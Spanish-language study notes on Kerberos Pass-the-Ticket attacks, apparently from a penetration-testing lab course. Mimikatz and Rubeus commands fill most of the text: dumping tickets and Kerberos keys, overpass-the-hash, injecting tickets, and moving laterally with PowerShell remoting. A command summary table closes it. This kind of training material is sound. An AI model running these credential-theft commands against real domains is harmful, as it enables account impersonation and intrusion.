Kerberos - Pass the Ticket (PtT) y Movimiento Lateral

🔄 Visión General

⚙️ Actualización del Protocolo Kerberos

📚 Revisar la sección de Kerberos, DNS, LDAP, MSRPC en el módulo "Introducción a Active Directory".

🎯 Escenario de Ataque PtT

🧰 Herramientas Principales


1. 🎣 Recolección de Tickets (Desde Windows)

1.1. Usando Mimikatz tickets /export

 mimikatz.exe
privilege::debug
sekurlsa::tickets /export

Pasted image 20250828183016.png

1.2. Usando Rubeus (dump)

Rubeus.exe dump /nowrap

2. 🔑 Pass the Key / OverPass the Hash

2.1. Extraer Claves de Kerberos (Mimikatz)

sekurlsa::ekeys

2.2. Falsificar Ticket con Mimikatz pth

sekurlsa::pth /domain:dominio.com /user:usuario /ntlm:hash_ntlm

2.3. Falsificar Ticket con Rubeus (asktgt)

Rubeus.exe asktgt /domain:dominio.com /user:usuario /aes256:clave_aes256 /nowrap

3. 🎫 Pass the Ticket (PtT) - Usar el Ticket

3.1. Con Rubeus (asktgt /ptt o ptt)

Rubeus.exe asktgt /domain:dominio.com /user:usuario /rc4:hash_ntlm /ptt
Rubeus.exe ptt /ticket:archivo.kirbi
Rubeus.exe ptt /ticket:<base64>

3.2. Con Mimikatz ptt

 mimikatz.exe
privilege::debug
sekurlsa::tickets /export
kerberos::ptt "C:\tools\[0;46bbc]-2-0-40e10000-john@krbtgt-INLANEFREIGHT.HTB.kirbi"

4. ➡️ Movimiento Lateral con PowerShell Remoting

4.1. Con Mimikatz + PowerShell

  1. Importar el ticket con kerberos::ptt.

  2. Desde la misma ventana de cmd, iniciar PowerShell.

  3. Conectarse al equipo remoto.

Enter-PSSession -ComputerName NombreDelServidor

{63495E49-CB5B-466F-B6AF-B4DE2DF11840}.png

4.2. Con Rubeus (createnetonly) + PowerShell

  1. Crear un proceso sacrificial (sesión de inicio de sesión tipo 9) para no sobreescribir tickets existentes.

    cmd

    Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show

  2. En la nueva ventana de cmd, usar Rubeus para solicitar un TGT con /ptt.

  3. Iniciar PowerShell y conectarse al equipo remoto.


💡 Resumen de Comandos Clave

Acción Herramienta Comando
Exportar Tickets Mimikatz sekurlsa::tickets /export
Rubeus Rubeus.exe dump /nowrap
Extraer Claves Mimikatz sekurlsa::ekeys
OverPass The Hash Mimikatz sekurlsa::pth /domain:...
Rubeus Rubeus.exe asktgt /domain:... /aes256:...
Importar Ticket Mimikatz kerberos::ptt ticket.kirbi
Rubeus Rubeus.exe ptt /ticket:...
PowerShell Remoting - Enter-PSSession -ComputerName ...
Proceso Sacrificial Rubeus Rubeus.exe createnetonly /program:cmd.exe /show

⚠️ Consideraciones Importantes